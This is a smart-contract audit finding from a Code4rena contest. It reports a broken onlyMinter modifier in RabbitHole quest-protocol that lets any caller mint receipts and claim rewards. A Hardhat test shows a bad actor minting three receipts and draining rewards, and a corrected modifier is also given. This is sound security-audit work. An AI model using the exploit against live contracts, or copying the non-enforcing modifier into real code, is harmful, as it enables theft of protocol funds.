Platform: Code4rena
Start Date: 25/01/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 173
Period: 5 days
Judge: kirk-baird
Total Solo HM: 1
Id: 208
League: ETH
Rank: 161/173
Findings: 1
Award: $2.59
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0xMAKEOUTHILL, 0xMirce, 7siech, AkshaySrivastav, AlexCzm, Awesome, Aymen0909, Cryptor, Deivitto, DimitarDimitrov, ElKu, Garrett, Jayus, Josiah, Kenshin, KrisApostolov, RaymondFam, SovaSlava, Timenov, UdarTeam, amaechieth, btk, c3phas, codeislight, fellows, frankudoags, gzeon, hansfriese, luxartvinsec, millersplanet, mookimgo, navinavu, oberon, paspe, pavankv, petersspetrov, pfapostol, prestoncodes, rbserver, sakshamguruji, shark, thekmj, trustindistrust, tsvetanovv, usmannk, vagrant, vanko1, xAriextz, yosuke
2.5852 USDC - $2.59
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L98-L104 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L83-L99 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L96-L118
Detailed description of the impact of this finding. https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L47-L50
modifier onlyMinter() { msg.sender == minterAddress; _; }
We see that the modifier is acting as a guard to the mint functions in the following contracts: RabbitHoleReceipts and RabbitHoleTickets
function mint(address to_, string memory questId_) public onlyMinter { _tokenIds.increment(); uint newTokenID = _tokenIds.current(); questIdForTokenId[newTokenID] = questId_; timestampForTokenId[newTokenID] = block.timestamp; _safeMint(to_, newTokenID); }
function mint(address to_, uint256 id_, uint256 amount_, bytes memory data_) public onlyMinter { _mint(to_, id_, amount_, data_); } /// @dev mint a batch of tickets, only callable by the allowed minter /// @param to_ the address to mint the tickets to /// @param ids_ the ids of the tickets to mint /// @param amounts_ the amounts of the tickets to mint /// @param data_ the data to pass to the mint function function mintBatch( address to_, uint256[] memory ids_, uint256[] memory amounts_, bytes memory data_ ) public onlyMinter { _mintBatch(to_, ids_, amounts_, data_); }
/// @notice Allows user to claim the rewards entitled to them /// @dev User can claim based on the (unclaimed) number of tokens they own of the Quest function claim() public virtual onlyQuestActive { if (isPaused) revert QuestPaused(); uint[] memory tokens = rabbitHoleReceiptContract.getOwnedTokenIdsOfQuest(questId, msg.sender); if (tokens.length == 0) revert NoTokensToClaim(); uint256 redeemableTokenCount = 0; for (uint i = 0; i < tokens.length; i++) { if (!isClaimed(tokens[i])) { redeemableTokenCount++; } } if (redeemableTokenCount == 0) revert AlreadyClaimed(); uint256 totalRedeemableRewards = _calculateRewards(redeemableTokenCount); _setClaimed(tokens); _transferRewards(totalRedeemableRewards); redeemedTokens += redeemableTokenCount; emit Claimed(msg.sender, totalRedeemableRewards); }
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
Here's a modified test for test/Erc20Quest.spec.ts where a bad actor operates and can mint 3 receipts and claim their rewards
//added a badActor to tests let badActor: SignerWithAddress const [local_owner, local_firstAddress, local_secondAddress, local_thirdAddress, local_fourthAddress, local_badActor] = await ethers.getSigners() describe('Malicious user', async () => { it('Mint a receipt and claim rewards', async () => { await deployedQuestContract.connect(owner).start(); await deployedRabbitholeReceiptContract.connect(badActor).mint(badActor.address, questId); await deployedRabbitholeReceiptContract.connect(badActor).mint(badActor.address, questId); await deployedRabbitholeReceiptContract.connect(badActor).mint(badActor.address, questId); expect(await deployedRabbitholeReceiptContract.balanceOf(badActor.address)).to.equal(3) await ethers.provider.send('evm_increaseTime', [86400]) await deployedQuestContract.connect(badActor).claim(); expect(await deployedSampleErc20Contract.balanceOf(badActor.address)).to.equal(3 * 1000) }) })
Manual Search, VSCode
A common way to handle this would be to use an if statement to check if the sender is the minter, and if not, revert the transaction. For example:
error Caller_Not_Minter(); modifier onlyMinter() { if(msg.sender != minterAddress) revert Caller_Not_Minter(); _; }
#0 - c4-judge
2023-02-03T05:29:03Z
kirk-baird marked the issue as duplicate of #9
#1 - c4-judge
2023-02-14T08:39:45Z
kirk-baird marked the issue as satisfactory